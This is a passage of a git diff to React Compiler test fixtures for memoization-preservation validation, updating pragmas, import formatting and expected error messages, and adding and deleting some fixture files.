     | ^^^^^^^^^^^^^^^^^^^^^
 > 7 |   }, [propA.x]);
-    | ^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected (5:7)
+    | ^^^^ Could not preserve existing manual memoization
   8 | }
   9 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-property-call-dep.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-property-call-dep.ts
index 9de911e2cac6..0c1f02778c60 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-property-call-dep.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-property-call-dep.ts
@@ -1,7 +1,7 @@
-// @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useCallback} from 'react';
 
-function Component({ propA }) {
+function Component({propA}) {
   return useCallback(() => {
     return propA.x();
   }, [propA.x]);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-aliased-var.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-aliased-var.expect.md
index 753486f149d4..7c1539a8cd80 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-aliased-var.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-aliased-var.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 
 // This is technically a false positive, but source is already breaking
 // `exhaustive-deps` lint rule (and can be considered invalid).
@@ -19,10 +19,17 @@ function useHook(x) {
 ## Error
 
 ```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `x`, but the source dependencies were [aliasedX, aliasedProp]. Inferred different dependency than source.
+
+error.useMemo-aliased-var.ts:9:17
    7 |   const aliasedProp = x.y.z;
    8 |
 >  9 |   return useMemo(() => [x, x.y.z], [aliasedX, aliasedProp]);
-     |                  ^^^^^^^^^^^^^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected (9:9)
+     |                  ^^^^^^^^^^^^^^^^ Could not preserve existing manual memoization
   10 | }
   11 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-aliased-var.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-aliased-var.ts
index e61c721034b3..31baea97a4f3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-aliased-var.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-aliased-var.ts
@@ -1,4 +1,4 @@
-// @validatePreserveExistingMemoizationGuarantees
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 
 // This is technically a false positive, but source is already breaking
 // `exhaustive-deps` lint rule (and can be considered invalid).
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-dep-not-recognized.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-dep-not-recognized.expect.md
deleted file mode 100644
index 98c3cc0ea28f..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-dep-not-recognized.expect.md
+++ /dev/null
@@ -1,40 +0,0 @@
-
-## Input
-
-```javascript
-// @validatePreserveExistingMemoizationGuarantees
-
-import { useMemo } from "react";
-import { makeArray } from "shared-runtime";
-
-// We currently only recognize "hoistable" values (e.g. variable reads
-// and property loads from named variables) in the source depslist.
-// This makes validation logic simpler and follows the same constraints
-// from the eslint react-hooks-deps plugin.
-function Foo(props) {
-  const x = makeArray(props);
-  // react-hooks-deps lint would already fail here
-  return useMemo(() => [x[0]], [x[0]]);
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Foo,
-  params: [{ val: 1 }],
-};
-
-```
-
-
-## Error
-
-```
-  11 |   const x = makeArray(props);
-  12 |   // react-hooks-deps lint would already fail here
-> 13 |   return useMemo(() => [x[0]], [x[0]]);
-     |                                 ^^^^ InvalidReact: Expected the dependency list to be an array of simple expressions (e.g. `x`, `x.y.z`, `x?.y?.z`) (13:13)
-  14 | }
-  15 |
-  16 | export const FIXTURE_ENTRYPOINT = {
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-dep-not-recognized.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-dep-not-recognized.ts
deleted file mode 100644
index fe1e55791dde..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-dep-not-recognized.ts
+++ /dev/null
@@ -1,19 +0,0 @@
-// @validatePreserveExistingMemoizationGuarantees
-
-import { useMemo } from "react";
-import { makeArray } from "shared-runtime";
-
-// We currently only recognize "hoistable" values (e.g. variable reads
-// and property loads from named variables) in the source depslist.
-// This makes validation logic simpler and follows the same constraints
-// from the eslint react-hooks-deps plugin.
-function Foo(props) {
-  const x = makeArray(props);
-  // react-hooks-deps lint would already fail here
-  return useMemo(() => [x[0]], [x[0]]);
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Foo,
-  params: [{ val: 1 }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-access.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-access.expect.md
index 9d1421ab9865..d93c52a10c12 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-access.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-access.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import { mutate } from "shared-runtime";
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {useMemo} from 'react';
+import {mutate} from 'shared-runtime';
 
-function Component({ propA, propB }) {
+function Component({propA, propB}) {
   return useMemo(() => {
     const x = {};
     if (propA?.a) {
@@ -24,8 +24,15 @@ function Component({ propA, propB }) {
 ## Error
 
 ```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propB`, but the source dependencies were [propA?.a, propB.x.y]. Inferred less specific property than source.
+
+error.useMemo-infer-less-specific-conditional-access.ts:6:17
    4 |
-   5 | function Component({ propA, propB }) {
+   5 | function Component({propA, propB}) {
 >  6 |   return useMemo(() => {
      |                  ^^^^^^^
 >  7 |     const x = {};
@@ -43,9 +50,7 @@ function Component({ propA, propB }) {
 > 13 |     }
      | ^^^^^^^^^^^^^^^^^
 > 14 |   }, [propA?.a, propB.x.y]);
-     | ^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected (6:14)
-
-CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected (6:14)
+     | ^^^^ Could not preserve existing manual memoization
   15 | }
   16 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-access.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-access.ts
index e19b995c487e..9a81716828c3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-access.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-access.ts
@@ -1,8 +1,8 @@
-// @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import { mutate } from "shared-runtime";
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {useMemo} from 'react';
+import {mutate} from 'shared-runtime';
 
-function Component({ propA, propB }) {
+function Component({propA, propB}) {
   return useMemo(() => {
     const x = {};
     if (propA?.a) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-value-block.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-value-block.expect.md
index e2acfc777379..9d35f52504e1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-value-block.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-value-block.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import { identity, mutate } from "shared-runtime";
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {useMemo} from 'react';
+import {identity, mutate} from 'shared-runtime';
 
-function Component({ propA, propB }) {
+function Component({propA, propB}) {
   return useMemo(() => {
     const x = {};
     if (identity(null) ?? propA.a) {
@@ -24,8 +24,15 @@ function Component({ propA, propB }) {
 ## Error
 
 ```
+Found 2 errors:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propA`, but the source dependencies were [propA.a, propB.x.y]. Inferred less specific property than source.
+
+error.useMemo-infer-less-specific-conditional-value-block.ts:6:17
    4 |
-   5 | function Component({ propA, propB }) {
+   5 | function Component({propA, propB}) {
 >  6 |   return useMemo(() => {
      |                  ^^^^^^^
 >  7 |     const x = {};
@@ -43,9 +50,35 @@ function Component({ propA, propB }) {
 > 13 |     }
      | ^^^^^^^^^^^^^^^^^
 > 14 |   }, [propA.a, propB.x.y]);
-     | ^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected (6:14)
+     | ^^^^ Could not preserve existing manual memoization
+  15 | }
+  16 |
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propB`, but the source dependencies were [propA.a, propB.x.y]. Inferred less specific property than source.
 
-CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected (6:14)
+error.useMemo-infer-less-specific-conditional-value-block.ts:6:17
+   4 |
+   5 | function Component({propA, propB}) {
+>  6 |   return useMemo(() => {
+     |                  ^^^^^^^
+>  7 |     const x = {};
+     | ^^^^^^^^^^^^^^^^^
+>  8 |     if (identity(null) ?? propA.a) {
+     | ^^^^^^^^^^^^^^^^^
+>  9 |       mutate(x);
+     | ^^^^^^^^^^^^^^^^^
+> 10 |       return {
+     | ^^^^^^^^^^^^^^^^^
+> 11 |         value: propB.x.y,
+     | ^^^^^^^^^^^^^^^^^
+> 12 |       };
+     | ^^^^^^^^^^^^^^^^^
+> 13 |     }
+     | ^^^^^^^^^^^^^^^^^
+> 14 |   }, [propA.a, propB.x.y]);
+     | ^^^^ Could not preserve existing manual memoization
   15 | }
   16 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-value-block.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-value-block.ts
index 2a5e911838d3..7c9cb48c7c1f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-value-block.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-value-block.ts
@@ -1,8 +1,8 @@
-// @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import { identity, mutate } from "shared-runtime";
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {useMemo} from 'react';
+import {identity, mutate} from 'shared-runtime';
 
-function Component({ propA, propB }) {
+function Component({propA, propB}) {
   return useMemo(() => {
     const x = {};
     if (identity(null) ?? propA.a) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-chained-object.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-chained-object.expect.md
index 531d05305735..6b707f3fe3bb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-chained-object.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-chained-object.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
 
-function Component({ propA }) {
+function Component({propA}) {
   return useMemo(() => {
     return {
       value: propA.x().y,
@@ -19,8 +19,15 @@ function Component({ propA }) {
 ## Error
 
 ```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propA`, but the source dependencies were [propA.x]. Inferred less specific property than source.
+
+error.useMemo-property-call-chained-object.ts:5:17
    3 |
-   4 | function Component({ propA }) {
+   4 | function Component({propA}) {
 >  5 |   return useMemo(() => {
      |                  ^^^^^^^
 >  6 |     return {
@@ -30,7 +37,7 @@ function Component({ propA }) {
 >  8 |     };
      | ^^^^^^^^^^^^
 >  9 |   }, [propA.x]);
-     | ^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected (5:9)
+     | ^^^^ Could not preserve existing manual memoization
   10 | }
   11 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-chained-object.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-chained-object.ts
index 6723c57ba735..5bd9603c49db 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-chained-object.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-chained-object.ts
@@ -1,7 +1,7 @@
-// @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
 
-function Component({ propA }) {
+function Component({propA}) {
   return useMemo(() => {
     return {
       value: propA.x().y,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-dep.expect.md
index 7f5376820615..293b35629ffd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-dep.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-dep.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
 
-function Component({ propA }) {
+function Component({propA}) {
   return useMemo(() => {
     return propA.x();
   }, [propA.x]);
@@ -17,14 +17,21 @@ function Component({ propA }) {
 ## Error
 
 ```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propA`, but the source dependencies were [propA.x]. Inferred less specific property than source.
+
+error.useMemo-property-call-dep.ts:5:17
   3 |
-  4 | function Component({ propA }) {
+  4 | function Component({propA}) {
 > 5 |   return useMemo(() => {
     |                  ^^^^^^^
 > 6 |     return propA.x();
     | ^^^^^^^^^^^^^^^^^^^^^
 > 7 |   }, [propA.x]);
-    | ^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected (5:7)
+    | ^^^^ Could not preserve existing manual memoization
   8 | }
   9 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-dep.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-dep.ts
index e2316b5caa50..6109e8033ac7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-dep.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-dep.ts
@@ -1,7 +1,7 @@
-// @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
 
-function Component({ propA }) {
+function Component({propA}) {
   return useMemo(() => {
     return propA.x();
   }, [propA.x]);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-unrelated-mutation-in-depslist.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-unrelated-mutation-in-depslist.expect.md
index f6ae0c7cb584..fe0bf6c22f66 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-unrelated-mutation-in-depslist.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-unrelated-mutation-in-depslist.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
 
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
 // Here, Forget infers that the memo block dependency is input1
 // 1. StartMemoize is emitted before the function expression
@@ -30,17 +30,22 @@ function useFoo(input1) {
 ## Error
 
 ```
-  14 |   const x = {};
-  15 |   const y = [input1];
-> 16 |   const memoized = useMemo(() => {
-     |                            ^^^^^^^
-> 17 |     return [y];
-     | ^^^^^^^^^^^^^^^
+Found 1 error:
+
+Error: Found missing memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI.
+
+error.useMemo-unrelated-mutation-in-depslist.ts:18:14
+  16 |   const memoized = useMemo(() => {
+  17 |     return [y];
 > 18 |   }, [(mutate(x), y)]);
-     | ^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected (16:18)
+     |               ^ Missing dependency `x`
   19 |
   20 |   return [x, memoized];
   21 | }
+
+Inferred dependencies: `[x, y]`
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-unrelated-mutation-in-depslist.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-unrelated-mutation-in-depslist.ts
index 83c6af7e8118..74d5045e256e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-unrelated-mutation-in-depslist.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-unrelated-mutation-in-depslist.ts
@@ -1,6 +1,6 @@
 // @validatePreserveExistingMemoizationGuarantees
 
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
 // Here, Forget infers that the memo block dependency is input1
 // 1. StartMemoize is emitted before the function expression
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-with-refs.flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-with-refs.flow.expect.md
new file mode 100644
index 000000000000..0269b22a1f2c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-with-refs.flow.expect.md
@@ -0,0 +1,37 @@
+
+## Input
+
+```javascript
+// @flow @validatePreserveExistingMemoizationGuarantees
+import {identity} from 'shared-runtime';
+
+component Component(disableLocalRef, ref) {
+  const localRef = useFooRef();
+  const mergedRef = useMemo(() => {
+    return disableLocalRef ? ref : identity(ref, localRef);
+  }, [disableLocalRef, ref, localRef]);
+  return <div ref={mergedRef} />;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+   5 |   const localRef = useFooRef();
+   6 |   const mergedRef = useMemo(() => {
+>  7 |     return disableLocalRef ? ref : identity(ref, localRef);
+     |                                             ^^^ Passing a ref to a function may read its value during render
+   8 |   }, [disableLocalRef, ref, localRef]);
+   9 |   return <div ref={mergedRef} />;
+  10 | }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-with-refs.flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-with-refs.flow.js
new file mode 100644
index 000000000000..845d90cbf2b5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-with-refs.flow.js
@@ -0,0 +1,10 @@
+// @flow @validatePreserveExistingMemoizationGuarantees
+import {identity} from 'shared-runtime';
+
+component Component(disableLocalRef, ref) {
+  const localRef = useFooRef();
+  const mergedRef = useMemo(() => {
+    return disableLocalRef ? ref : identity(ref, localRef);
+  }, [disableLocalRef, ref, localRef]);
+  return <div ref={mergedRef} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.validate-useMemo-named-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.validate-useMemo-named-function.expect.md
index 4b1703cd7d41..d14bbccb599a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.validate-useMemo-named-function.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.validate-useMemo-named-function.expect.md
@@ -20,10 +20,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Expected the first argument to be an inline function expression
+
+Expected the first argument to be an inline function expression.
+
+error.validate-useMemo-named-function.ts:9:20
    7 | // for now.
    8 | function Component(props) {
 >  9 |   const x = useMemo(someHelper, []);
-     |                     ^^^^^^^^^^ InvalidReact: Expected the first argument to be an inline function expression (9:9)
+     |                     ^^^^^^^^^^ Expected the first argument to be an inline function expression
   10 |   return x;
   11 | }
   12 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/maybe-invalid-useMemo-no-memoblock-sideeffect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/maybe-invalid-useMemo-no-memoblock-sideeffect.expect.md
index fd007ab7c9af..50d812fde56e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/maybe-invalid-useMemo-no-memoblock-sideeffect.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/maybe-invalid-useMemo-no-memoblock-sideeffect.expect.md
@@ -4,12 +4,12 @@
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
 
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
 // This is currently considered valid because we don't ensure that every
 // instruction within manual memoization gets assigned to a reactive scope
 // (i.e. inferred non-mutable or non-escaping values don't get memoized)
-function useFoo({ minWidth, styles, setStyles }) {
+function useFoo({minWidth, styles, setStyles}) {
   useMemo(() => {
     if (styles.width > minWidth) {
       setStyles(styles);
@@ -19,7 +19,7 @@ function useFoo({ minWidth, styles, setStyles }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ minWidth: 2, styles: { width: 1 }, setStyles: () => {} }],
+  params: [{minWidth: 2, styles: {width: 1}, setStyles: () => {}}],
 };
 
 ```
@@ -36,11 +36,10 @@ import { useMemo } from "react";
 // (i.e. inferred non-mutable or non-escaping values don't get memoized)
 function useFoo(t0) {
   const { minWidth, styles, setStyles } = t0;
-  let t1;
+
   if (styles.width > minWidth) {
     setStyles(styles);
   }
-  t1 = undefined;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/maybe-invalid-useMemo-no-memoblock-sideeffect.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/maybe-invalid-useMemo-no-memoblock-sideeffect.ts
index 426b59538ac0..080a9975382e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/maybe-invalid-useMemo-no-memoblock-sideeffect.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/maybe-invalid-useMemo-no-memoblock-sideeffect.ts
@@ -1,11 +1,11 @@
 // @validatePreserveExistingMemoizationGuarantees
 
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
 // This is currently considered valid because we don't ensure that every
 // instruction within manual memoization gets assigned to a reactive scope
 // (i.e. inferred non-mutable or non-escaping values don't get memoized)
-function useFoo({ minWidth, styles, setStyles }) {
+function useFoo({minWidth, styles, setStyles}) {
   useMemo(() => {
     if (styles.width > minWidth) {
       setStyles(styles);
@@ -15,5 +15,5 @@ function useFoo({ minWidth, styles, setStyles }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ minWidth: 2, styles: { width: 1 }, setStyles: () => {} }],
+  params: [{minWidth: 2, styles: {width: 1}, setStyles: () => {}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-callback-stable-built-ins.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-callback-stable-built-ins.expect.md
new file mode 100644
index 000000000000..be4f25b64c41
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-callback-stable-built-ins.expect.md
@@ -0,0 +1,91 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+import {
+  useCallback,
+  useTransition,
+  useState,
